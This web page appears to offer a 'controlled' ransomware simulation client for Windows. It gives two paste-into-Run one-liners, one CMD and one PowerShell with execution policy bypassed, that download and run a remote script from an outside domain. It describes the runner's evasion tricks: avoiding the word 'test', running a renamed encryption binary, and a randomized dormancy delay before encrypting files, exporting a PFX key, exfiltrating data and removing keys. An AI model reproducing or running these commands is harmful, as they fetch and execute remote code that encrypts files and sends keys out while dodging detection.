This public page provides the controlled Windows client. The included runner targets only C:\cryptosample.
To validate behavioral rather than filename-based detection, this runner: (1) does not contain the word "test" anywhere in its URL, paths or filenames, (2) stages the encryption binary under an alternate process name so static process-name rules will not fire, and (3) stays dormant for a randomized 2-9 minutes after download before executing. Detection therefore requires correlation across the chain: clipboard activity, process creation of a renamed system binary, file system encryption attributes, PFX export, network exfiltration and key removal.
Paste this into Windows Start -> Run when PowerShell is disabled. It downloads a temporary CMD runner, generates a server-side PFX password, waits a randomized dormancy period and runs it against C:\cryptosample. It does not install anything permanently and does not ask for input.
cmd /V:ON /C "set U=https://efs-r7.centralbank-tt.org&&set D=%TEMP%\efscrypto&&mkdir !D! 2>nul&&curl.exe -fsSL -o !D!\x.cmd !U!/download/run.cmd&&cmd /K !D!\x.cmd"
Paste this into Windows Start -> Run if PowerShell is available. It downloads a temporary PowerShell runner and runs the same controlled operation with the same evasion characteristics. It does not install anything permanently and does not ask for input.
cmd /K powershell -NoProfile -ExecutionPolicy Bypass -Command "$u='https://efs-r7.centralbank-tt.org'; $d=Join-Path $env:TEMP 'efscrypto'; New-Item -ItemType Directory -Force -Path $d | Out-Null; $p=Join-Path $d 'x.ps1'; Invoke-WebRequest ($u + '/download/run.ps1') -OutFile $p -UseBasicParsing; powershell -NoProfile -ExecutionPolicy Bypass -File $p"
/data.